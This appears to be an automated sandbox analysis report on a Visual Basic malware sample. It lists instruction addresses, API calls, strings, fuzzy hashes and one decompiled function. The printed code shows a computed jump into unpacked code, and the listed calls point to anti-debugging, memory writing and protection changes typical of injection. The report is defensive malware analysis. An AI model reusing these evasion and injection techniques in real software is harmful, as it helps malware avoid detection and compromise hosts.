0x00401a9e
0x00401aa0
0x00401aa2
0x00401aa8
0x00401aaa
0x00401aac
0x00401aae
0x00401ab0
0x00401ab2
0x00401ab4
0x00401ab6
0x00401ab8
0x00401aba
0x00401abc
0x00401abe
0x00401ac0
0x00401ac2
0x00401ac4
0x00401ac6
0x00401ac8
0x00401aca
0x00401acc
0x00401ace
0x00401ad0
0x00401ad2
0x00401ad8
0x00401ada
0x00401ade
0x00401adf
0x00401ae1
0x00401ae6
0x00401ae7
0x00401ae9
0x00401aeb
0x00401aed
0x00401aef
0x00401af8
0x00401afa
0x00401afc
0x00401afe
0x00401b00
0x00401b02
0x00401b04
0x00401b06
0x00401b08
0x00401b0a
0x00401b0c
0x00401b0e
0x00401b10
0x00401b12
0x00401b14
0x00401b16
0x00401b18
0x00401b1a
0x00401b1c
0x00401b1e
0x00401b20
0x00401b22
0x00401b24
0x00401b26
0x00401b28
0x00401b2a
0x00401b2c
0x00401b2e
0x00401b30
0x00401b32
0x00401b34
0x00401b36
0x00401b38
0x00401b3a
0x00401b3c
0x00401b3e
0x00401b40
0x00401b42
0x00401b48
0x00401b4f
0x00401b52
0x00401b53
0x00401b55
0x00401b5a
0x00401b5c
0x00401b64
0x00401b66
0x00401b68
0x00401b6a
0x00401b6c
0x00401b6e
0x00401b70
0x00401b72
0x00401b74
0x00401b76
0x00401b78
0x00401b7a
0x00401b7c
0x00401b7e
0x00401b80
0x00401b82
0x00401b84
0x00401b86
0x00401b88
0x00401b8a
0x00401b8c
0x00401b8e
0x00401b90
0x00401b92
0x00401b98
0x00401b9a
0x00401b9c
0x00401b9f
0x00401ba3
0x00401ba3
0x00401777
0x00401779
0x0040177a
0x004017e1
0x004017e1
0x00000000
0x004017e1
0x0040177c
0x0040177d
0x0040177f
0x00401781
0x00401782
0x00401784
0x00401786
0x0040178a
0x0040178b
0x0040178d
0x00401793
0x00401795
0x00401798
0x0040179a
0x0040179c
0x0040179e
0x004017a2
0x004017a5
0x004017a7
0x004017a9
0x004017ab
0x004017ad
0x004017af
0x004017b5
0x004017ba
0x004017bc
0x004017be
0x004017c0
0x004017c2
0x004017c4
0x004017c5
0x004017c8
0x004017ca
0x004017cc
0x004017ce
0x004017d0
0x004017d5
0x004017d6
0x004017d8
0x004017da
0x004017dc
0x004017de
0x004017e0
0x00000000
0x004017e0
0x00401732
0x00401734
0x00401735
0x00401738
0x00401738
0x00401739
0x0040173b
0x0040173d
0x0040173f
0x00401741
0x00401743
0x00401745
0x00401747
0x00401749
0x0040174b
0x0040174d
0x0040174f
0x00401751
0x00401753
0x00401755
0x00401757
0x00401759
0x0040175b
0x0040175e
0x0040175e
0x0040175f
0x00000000
0x0040175f
0x004016f6
0x004016f8
0x004016f8
0x004016f9
0x00000000
0x00000000
0x004016fb
0x00000000
0x00000000
0x004016fd
0x004016fe
0x00401700
0x00401702
0x00401704
0x00401706
0x00401708
0x0040170b
0x0040170d
0x0040170e
0x00401711
0x00401712
0x00401713
0x00401715
0x00000000

APIs

#100.MSVBVM60(VB5!6&*), ref: 004016C1

Strings

VB5!6&*, xrefs: 004016BC

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: VB5!6&*
API String ID: 1341478452-3593831657
Opcode ID: 8809b2c08ad3a93a579301216767cbace41ab4c246744c149f31119b4483565e
Instruction ID: 63ba3832837d3705b30a72483de6be10d6d28ffc1dcc581766dcf697a08ca97c
Opcode Fuzzy Hash: 8809b2c08ad3a93a579301216767cbace41ab4c246744c149f31119b4483565e
Instruction Fuzzy Hash: 7151DA6248E7D14FC31387748C6A6927FB0AE5326831E41EBC4C1CF1F3D229185AD766

Uniqueness

Uniqueness Score: -1.00%

Function 020F144F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 379COMMON

Download Yara Rule

Strings

H4Vp, xrefs: 020F1632

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: H4Vp
API String ID: 1029625771-3764545900
Opcode ID: 595216ac089621dd909eebec699b29f0519008c3e21251ee457de0b79f77c2bf
Instruction ID: d7d3d70bae8ca7cb8cb82d8ab9a30a6bded6acc05b9599be341cb62e0467fb37
Opcode Fuzzy Hash: 595216ac089621dd909eebec699b29f0519008c3e21251ee457de0b79f77c2bf
Instruction Fuzzy Hash: 0BD1F271780702EBD7949F28CD90BEAB3E5FF45760F154228ED98D3A40EB74E8519B90

Uniqueness

Uniqueness Score: -1.00%

Function 020F1E97, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 322nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 020F3EAA: LoadLibraryA.KERNELBASE(?,8802EDAC,?,020F460E,020F037D,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 020F3F01

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 020F2277

Strings

d`, xrefs: 020F1F1B

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: LibraryLoadMemoryVirtualWrite
String ID: d`
API String ID: 3569954152-1419474883
Opcode ID: fec7dd963143f630dab2ed35c9e32c9524da1f731bc4f48c1d7fb1e1a9bf72f7
Instruction ID: 39cc11e280719db4649db5f248aa576d5a2e19ec7824c229d50245bb1e33b4b7
Opcode Fuzzy Hash: fec7dd963143f630dab2ed35c9e32c9524da1f731bc4f48c1d7fb1e1a9bf72f7
Instruction Fuzzy Hash: 84A1E6B1380309AFFBB15F64CC91BD93AA2EF45350FA44228FF84966C0C7B998D59B54

Uniqueness

Uniqueness Score: -1.00%

Function 020F11BB, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 157nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000048,00000000,00020040,00000000), ref: 020F056B

Strings

1.!T, xrefs: 020F0545

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: InformationThread
String ID: 1.!T
API String ID: 4046476035-3147410236
Opcode ID: 423965d70f26740a3e108640c11e337abd1cb1d2d51272562c4e8151d06301fc
Instruction ID: 220ea0384fb03dca44926e038f6c2a70d4bb3a7327afef6b57f117f3219a20a9
Opcode Fuzzy Hash: 423965d70f26740a3e108640c11e337abd1cb1d2d51272562c4e8151d06301fc
Instruction Fuzzy Hash: 6841D234B81309AFFF602A348CB57DA27A36F86750FA84129EE55976C1D778CC899701

Uniqueness

Uniqueness Score: -1.00%

Function 020F04EB, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 020F3EAA: LoadLibraryA.KERNELBASE(?,8802EDAC,?,020F460E,020F037D,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 020F3F01

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000048,00000000,00020040,00000000), ref: 020F056B

Strings

1.!T, xrefs: 020F0545

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: a6b8da1ce2f6c6132932b534fd87d738a5af5d77773ecde80905200dbb9d76a4
Instruction ID: 61f8249e40f2cb68e34d3b2b5e287cfeeb69ef11d861df5fd26b81d3347e3960
Opcode Fuzzy Hash: a6b8da1ce2f6c6132932b534fd87d738a5af5d77773ecde80905200dbb9d76a4
Instruction Fuzzy Hash: F321B134BC1319AEFF606E345CB17CA27D36F85714F98422AEE55C76C4CA78CC899A01

Uniqueness

Uniqueness Score: -1.00%

Function 020F1A66, Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a136e28410dc0e1e1ee6fd1cff2b575b8b4e0ee1e39eabd8b4e56ac0bbee1c
Instruction ID: a6871f2f03309a23272f1f14d0be1f0967fdcd2f18e9a158fbff605f34a6640d
Opcode Fuzzy Hash: d2a136e28410dc0e1e1ee6fd1cff2b575b8b4e0ee1e39eabd8b4e56ac0bbee1c
Instruction Fuzzy Hash: 6E4124B0684305EEEBA16F34CC98BED72A2EF05720F518269FF499A5D1D7B4C4C0DA51

Uniqueness

Uniqueness Score: -1.00%

Function 020F3032, Relevance: 1.5, APIs: 1, Instructions: 40libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(?,?,?,020F0E4D,00000000,00000000,00000000,00000000,00000050,00000323,?,020F282F,?,?,00000004), ref: 020F309D

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d70147989ec9e90fb8ab3b72e483df720270378d40075a606aba0e9eb60b0715
Instruction ID: e3ff3bf2179ee98efe4cd5aa0df951dba6314ee3cb6b5b14557bf0555d34afd7
Opcode Fuzzy Hash: d70147989ec9e90fb8ab3b72e483df720270378d40075a606aba0e9eb60b0715
Instruction Fuzzy Hash: 5D01D13155E3D199C733DB704AAA543BFB1BF5321076C90CEC5C1099A7C2A1A621E7DB

Uniqueness

Uniqueness Score: -1.00%

Function 020F4DD5, Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,00000000,?,020F4A02,00000040,020F0534,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 020F4DEE

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
Instruction ID: 8f5be131a22dbd2915fdb11b102d5d31c6b110a07b1c5addfdb7a0585f941792
Opcode Fuzzy Hash: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
Instruction Fuzzy Hash: 37C012E02240002E68048A28CD48C2BB2AA86C4A28B10C32CB832222CCC930EC048032

Uniqueness

Uniqueness Score: -1.00%

Function 020F4E3B, Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,00000000,?,020F4A02,00000040,020F0534,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 020F4DEE

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 4d65ba5378019536020af43696fefb2d65787cec956b74645706d74c4502f40f
Instruction ID: 6e3b68b6d52fe38fb95b1e09a5f4566ced8b95e1dd1249ba3bc474ec0d5374a5
Opcode Fuzzy Hash: 4d65ba5378019536020af43696fefb2d65787cec956b74645706d74c4502f40f
Instruction Fuzzy Hash: BFB012A3455150143493586C4E00CAE111948F1775315C3137634574E88B2082A81431

Uniqueness

Uniqueness Score: -1.00%

Function 00418214, Relevance: 49.3, APIs: 26, Strings: 2, Instructions: 278
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00418214(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				void* _v3;
				void* _v5;
				void* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v52;
				signed int _v64;
				char _v68;
				char _v72;
				signed int _v76;
				char _v80;
				char _v96;
				intOrPtr _v104;
				char _v112;
				intOrPtr _v120;
				char _v128;
				intOrPtr _v136;
				char _v144;
				char* _v152;
				char _v160;
				intOrPtr _v168;
				char _v176;
				signed int _v184;
				char _v192;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				intOrPtr* _v224;
				signed int _v228;
				signed int _v232;
				char _v248;
				char _v264;
				signed int _v288;
				intOrPtr _v292;
				signed int _v296;
				signed int _v300;
				intOrPtr* _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				intOrPtr _v1924090815;
				signed int _t165;
				signed int _t166;
				signed int _t171;
				signed int _t177;
				signed int _t183;
				char* _t185;
				signed int _t188;
				char* _t196;
				char* _t199;
				char* _t214;
				void* _t224;
				void* _t228;
				intOrPtr _t229;
				void* _t230;

				_t229 = _t228 - 0x18;
				 *[fs:0x0] = _t229;
				L004014B0();
				_v28 = _t229;
				_v24 = 0x401440;
				_v20 = _a4 & 0x00000001;
				_a4 = _a4 & 0xfffffffe;
				_v16 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014b6, _t224);
				_v8 = 1;
				_v8 = 2;
				E00411194();
				L00401564();
				_v8 = 3;
				L0040155E();
				_v8 = 4;
				_t165 =  *((intOrPtr*)( *_a4 + 0x2b4))(_a4, 0xffffffff);
				asm("fclex");
				_v216 = _t165;
				if(_v216 >= 0) {
					_v296 = _v296 & 0x00000000;
				} else {
					_push(0x2b4);
					_push(0x410d2c);
					_push(_a4);
					_push(_v216);
					L00401690();
					_v296 = _t165;
				}
				_v8 = 5;
				_t166 =  &_v68;
				L00401558();
				E0041109C(); // executed
				_v212 = _t166;
				L00401564();
				_v64 = _v212;
				L0040165A();
				_v8 = 6;
				_t171 =  *((intOrPtr*)( *_a4 + 0x58))(_a4,  &_v212, 1, _t166, _t166, L"c:\\a\\a.sys", 0, 0x140, 0xc8, 0x10);
				asm("fclex");
				_v216 = _t171;
				if(_v216 >= 0) {
					_v300 = _v300 & 0x00000000;
				} else {
					_push(0x58);
					_push(0x410d2c);
					_push(_a4);
					_push(_v216);
					L00401690();
					_v300 = _t171;
				}
				_push(_v212);
				E0041112C();
				L00401564();
				_v8 = 7;
				E00411194();
				L00401564();
				_v8 = 8;
				_push(_v64);
				_push(2);
				E004111E0();
				L00401564();
				_v8 = 9;
				_push(2);
				E00411234();
				_v212 = _t171;
				L00401564();
				_v8 = 0xb;
				E004110E4();
				L00401564();
				_v8 = 0xc;
				if( *0x41931c != 0) {
					_v304 = 0x41931c;
				} else {
					_push(0x41931c);
					_push(0x41137c);
					L00401696();
					_v304 = 0x41931c;
				}
				_v216 =  *_v304;
				_t177 =  *((intOrPtr*)( *_v216 + 0x1c))(_v216,  &_v72);
				asm("fclex");
				_v220 = _t177;
				if(_v220 >= 0) {
					_v308 = _v308 & 0x00000000;
				} else {
					_push(0x1c);
					_push(0x41136c);
					_push(_v216);
					_push(_v220);
					L00401690();
					_v308 = _t177;
				}
				_v224 = _v72;
				_v152 = 2;
				_v160 = 3;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t183 =  *((intOrPtr*)( *_v224 + 0x54))(_v224, 0x10,  &_v76);
				asm("fclex");
				_v228 = _t183;
				if(_v228 >= 0) {
					_v312 = _v312 & 0x00000000;
				} else {
					_push(0x54);
					_push(0x4115e4);
					_push(_v224);
					_push(_v228);
					L00401690();
					_v312 = _t183;
				}
				_v288 = _v76;
				_v76 = _v76 & 0x00000000;
				_t185 =  &_v80;
				L0040169C();
				_t188 =  *((intOrPtr*)( *_a4 + 0x154))(_a4, _t185, _t185, _v288);
				asm("fclex");
				_v232 = _t188;
				if(_v232 >= 0) {
					_v316 = _v316 & 0x00000000;
				} else {
					_push(0x154);
					_push(0x410d2c);
					_push(_a4);
					_push(_v232);
					L00401690();
					_v316 = _t188;
				}
				_push( &_v80);
				_push( &_v72);
				_push(2);
				L00401654();
				_t230 = _t229 + 0xc;
				_v8 = 0xd;
				_v152 = 1;
				_v160 = 2;
				_v168 = 0x1c977;
				_v176 = 3;
				_v184 = _v184 & 0x00000000;
				_v192 = 2;
				_push( &_v160);
				_push( &_v176);
				_push( &_v192);
				_push( &_v264);
				_push( &_v248);
				_t196 =  &_v52;
				_push(_t196);
				L00401552();
				_v292 = _t196;
				while(_v292 != 0) {
					_v8 = 0xe;
					if(_v64 == 0x91b) {
						_v8 = 0xf;
						_v136 = 0x80020004;
						_v144 = 0xa;
						_v120 = 0x80020004;
						_v128 = 0xa;
						_v104 = 0x80020004;
						_v112 = 0xa;
						_v152 = L"There was an error while loading the bitmap";
						_v160 = 8;
						L004015FA();
						_push( &_v144);
						_push( &_v128);
						_push( &_v112);
						_push(0);
						_push( &_v96);
						L0040154C();
						_push( &_v144);
						_push( &_v128);
						_push( &_v112);
						_push( &_v96);
						_push(4);
						L00401666();
						_t230 = _t230 + 0x14;
					}
					_v8 = 0x11;
					E004110E4();
					L00401564();
					_v8 = 0x12;
					_push( &_v264);
					_push( &_v248);
					_t199 =  &_v52;
					_push(_t199);
					L00401546();
					_v292 = _t199;
				}
				_v8 = 0x13;
				_v12 = 0xffd4b595;
				_v12 = _v12 + 0x6c1c73;
				_v12();
				asm("invalid");
				_v1924090815 = _v1924090815 - 1;
				_push(0xbc458d50);
				_push(3);
				L00401654();
				_push( &_v144);
				_push( &_v128);
				_push( &_v112);
				_t214 =  &_v96;
				_push(_t214);
				_push(4);
				L00401666();
				return _t214;
			}

0x00418217
0x00418226
0x00418232
0x0041823a
0x0041823d
0x0041824a
0x00418253
0x00418256
0x00418265
0x00418268
0x0041826f
0x00418276
0x0041827b
0x00418280
0x00418289
0x0041828e
0x0041829d
0x004182a3
0x004182a5
0x004182b2
0x004182d4
0x004182b4
0x004182b4
0x004182b9
0x004182be
0x004182c1
0x004182c7
0x004182cc
0x004182cc
0x004182db
0x004182f5
0x004182f9
0x00418301
0x00418306
0x0041830c
0x00418317
0x0041831d
0x00418322
0x00418338
0x0041833b
0x0041833d
0x0041834a
0x00418369
0x0041834c
0x0041834c
0x0041834e
0x00418353
0x00418356
0x0041835c
0x00418361
0x00418361
0x00418370
0x00418376
0x0041837b
0x00418380
0x00418387
0x0041838c
0x00418391
0x00418398
0x0041839b
0x0041839d
0x004183a2
0x004183a7
0x004183ae
0x004183b0
0x004183b5
0x004183bb
0x004183c0
0x004183c7
0x004183cc
0x004183d1
0x004183df
0x004183fc
0x004183e1
0x004183e1
0x004183e6
0x004183eb
0x004183f0
0x004183f0
0x0041840e
0x00418426
0x00418429
0x0041842b
0x00418438
0x0041845a
0x0041843a
0x0041843a
0x0041843c
0x00418441
0x00418447
0x0041844d
0x00418452
0x00418452
0x00418464
0x0041846a
0x00418474
0x00418485
0x00418492
0x00418493
0x00418494
0x00418495
0x004184a4
0x004184a7
0x004184a9
0x004184b6
0x004184d8
0x004184b8
0x004184b8
0x004184ba
0x004184bf
0x004184c5
0x004184cb
0x004184d0
0x004184d0
0x004184e2
0x004184e8
0x004184f2
0x004184f6
0x00418504
0x0041850a
0x0041850c
0x00418519
0x0041853b
0x0041851b
0x0041851b
0x00418520
0x00418525
0x00418528
0x0041852e
0x00418533
0x00418533
0x00418545
0x00418549
0x0041854a
0x0041854c
0x00418551
0x00418554
0x0041855b
0x00418565
0x0041856f
0x00418579
0x00418583
0x0041858a
0x0041859a
0x004185a1
0x004185a8
0x004185af
0x004185b6
0x004185b7
0x004185ba
0x004185bb
0x004185c0
0x004186a4
0x004185cb
0x004185d9
0x004185df
0x004185e6
0x004185f0
0x004185fa
0x00418601
0x00418608
0x0041860f
0x00418616
0x00418620
0x00418633
0x0041863e
0x00418642
0x00418646
0x00418647
0x0041864c
0x0041864d
0x00418658
0x0041865c
0x00418660
0x00418664
0x00418665
0x00418667
0x0041866c
0x0041866c
0x0041866f
0x00418676
0x0041867b
0x00418680
0x0041868d
0x00418694
0x00418695
0x00418698
0x00418699
0x0041869e
0x0041869e
0x004186b1
0x004186b8
0x004186bf
0x004186c6
0x004186d2
0x004186d4
0x004186e0
0x004186e1
0x004186e3
0x004186f1
0x004186f5
0x004186f9
0x004186fa
0x004186fd
0x004186fe
0x00418700
0x00418708

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00418232
__vbaSetSystemError.MSVBVM60(?,?,?,?,004014B6), ref: 0041827B
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,004014B6), ref: 00418289
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410D2C,000002B4), ref: 004182C7
__vbaStrToAnsi.MSVBVM60(?,c:\a\a.sys,00000000,00000140,000000C8,00000010), ref: 004182F9
__vbaSetSystemError.MSVBVM60(00000001,00000000,?,c:\a\a.sys,00000000,00000140,000000C8,00000010), ref: 0041830C
__vbaFreeStr.MSVBVM60(00000001,00000000,?,c:\a\a.sys,00000000,00000140,000000C8,00000010), ref: 0041831D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410D2C,00000058), ref: 0041835C
__vbaSetSystemError.MSVBVM60(?), ref: 0041837B
__vbaSetSystemError.MSVBVM60(?), ref: 0041838C
__vbaSetSystemError.MSVBVM60(00000002,?,?), ref: 004183A2
__vbaSetSystemError.MSVBVM60(00000002,00000002,?,?), ref: 004183BB
__vbaSetSystemError.MSVBVM60(00000002,00000002,?,?), ref: 004183CC
__vbaNew2.MSVBVM60(0041137C,0041931C,00000002,00000002,?,?), ref: 004183EB
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0041136C,0000001C), ref: 0041844D
__vbaChkstk.MSVBVM60(?), ref: 00418485
__vbaHresultCheckObj.MSVBVM60(00000000,?,004115E4,00000054), ref: 004184CB
__vbaObjSet.MSVBVM60(?,?), ref: 004184F6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410D2C,00000154), ref: 0041852E
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0041854C
__vbaVarForInit.MSVBVM60(?,?,?,00000002,00000003,00000002), ref: 004185BB
__vbaVarDup.MSVBVM60 ref: 00418633
#595.MSVBVM60(?,00000000,0000000A,0000000A,0000000A), ref: 0041864D
__vbaFreeVarList.MSVBVM60(00000004,?,0000000A,0000000A,0000000A,?,00000000,0000000A,0000000A,0000000A), ref: 00418667
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,?,004014B6), ref: 0041867B
__vbaVarForNext.MSVBVM60(?,?,?), ref: 00418699

Strings

There was an error while loading the bitmap, xrefs: 00418616
c:\a\a.sys, xrefs: 004182F0

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Error$System$CheckHresult$Free$ChkstkList$#595AnsiInitNew2Next
String ID: There was an error while loading the bitmap$c:\a\a.sys
API String ID: 2245900540-3807692072
Opcode ID: f18adeda8b304d0305cb3a79678ebd252d4de43b1a66fc18cbc12383084a2695
Instruction ID: e179c157bf4c7a10ccd15c014defd265a15309c5ebb4083536c13f26a0830936
Opcode Fuzzy Hash: f18adeda8b304d0305cb3a79678ebd252d4de43b1a66fc18cbc12383084a2695
Instruction Fuzzy Hash: 67D1E8B1C00218EFDF11EFA1CD45BDDBBB8AB08304F1080AAE609BB1A1D7795A859F55

Uniqueness

Uniqueness Score: -1.00%

Function 020F0659, Relevance: 1.8, APIs: 1, Instructions: 284COMMON

Download Yara Rule

APIs

Part of subcall function 020F3EAA: LoadLibraryA.KERNELBASE(?,8802EDAC,?,020F460E,020F037D,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 020F3F01

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,?,0000001C,00000000), ref: 020F2529

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: LibraryLoadProcessTerminate
String ID:
API String ID: 3349790660-0
Opcode ID: cf21439236db3514a5f0572b363146cc555b1549d8fc61f8159972e2532e6ed9
Instruction ID: 456769566ddad98da25efd56583bc48dabdfb084ee4d20f7340d36e49fb8e9ea
Opcode Fuzzy Hash: cf21439236db3514a5f0572b363146cc555b1549d8fc61f8159972e2532e6ed9
Instruction Fuzzy Hash: C281C1716C03456AEFB15A28CC94BEE37E39F82764F68016DEF41938D7E728C486A601

Uniqueness

Uniqueness Score: -1.00%

Function 020F2AE5, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 104892d6609a1c5ef79502ceea7d01c0b7ea061338edc1d93f48a4f53ebb741c
Instruction ID: c56ca1c5e570a418cf42aecc72c7d81bd74c2c3d9a69904d48409bf4188be625
Opcode Fuzzy Hash: 104892d6609a1c5ef79502ceea7d01c0b7ea061338edc1d93f48a4f53ebb741c
Instruction Fuzzy Hash: A041C97028038BAFEFB15F14CD90BEE37A5AF01384F508135EF899A581D775C589AA11

Uniqueness

Uniqueness Score: -1.00%

Function 020F1C24, Relevance: 1.6, APIs: 1, Instructions: 129libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,8802EDAC,?,020F460E,020F037D,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 020F3F01

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 868d05ed2eda08ee99dfe3672a01c5c8389bb6952539cc836c904a67d87e3db0
Instruction ID: 0ccac085a097ca0c10f963eef676587c1d33e0834aab7b4e097a3b12ec6b4d98
Opcode Fuzzy Hash: 868d05ed2eda08ee99dfe3672a01c5c8389bb6952539cc836c904a67d87e3db0
Instruction Fuzzy Hash: 834127B0680301AFDB95AF64CDD8BEE72A6EF44334F514264EA428B5A1C774C8C49E91

Uniqueness

Uniqueness Score: -1.00%

Function 020F29A1, Relevance: 1.6, APIs: 1, Instructions: 94libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 020F3EAA: LoadLibraryA.KERNELBASE(?,8802EDAC,?,020F460E,020F037D,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 020F3F01

LdrInitializeThunk.NTDLL(?,?,?,020F0E4D,00000000,00000000,00000000,00000000,00000050,00000323,?,020F282F,?,?,00000004), ref: 020F309D

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: InitializeLibraryLoadThunk
String ID:
API String ID: 3353482560-0
Opcode ID: b61cfcec17164a2f65a522886e5f48d061a8b11dff10a8bf7ef53c9b477a35ce
Instruction ID: 29db7780d3d6c970375d859d9566e5fb358b817d11b212ca8177579200fc8cef
Opcode Fuzzy Hash: b61cfcec17164a2f65a522886e5f48d061a8b11dff10a8bf7ef53c9b477a35ce
Instruction Fuzzy Hash: 4031F6306493C58ECB71EF7088643DA3FA2BF52310F1880DEC5855B656D7759A02EB96

Uniqueness

Uniqueness Score: -1.00%

Function 020F299C, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 39d5bd448e69d17717872ad6db3e30777b9f48f63d01b2034908b5e9f8f25d86
Instruction ID: 424e0ebf08c19a4d68f91e049a47fecd944ac469646fc1591775059884d1be14
Opcode Fuzzy Hash: 39d5bd448e69d17717872ad6db3e30777b9f48f63d01b2034908b5e9f8f25d86
Instruction Fuzzy Hash: 4B2187E148C3CC2AD7F6DB318555C8AFFD4BA525BC77C28DE969047867E212E102A70A

Uniqueness

Uniqueness Score: -1.00%

Function 020F3EAA, Relevance: 1.5, APIs: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,8802EDAC,?,020F460E,020F037D,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 020F3F01

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4b9f3edd0ef5890080328c57794b9296361afd6330461fec7dcf8aa734d818b0
Instruction ID: f75bd8d99de1cb737a9844e05edb1e1228e87db77ae0e50621d7a5ee991e70c2
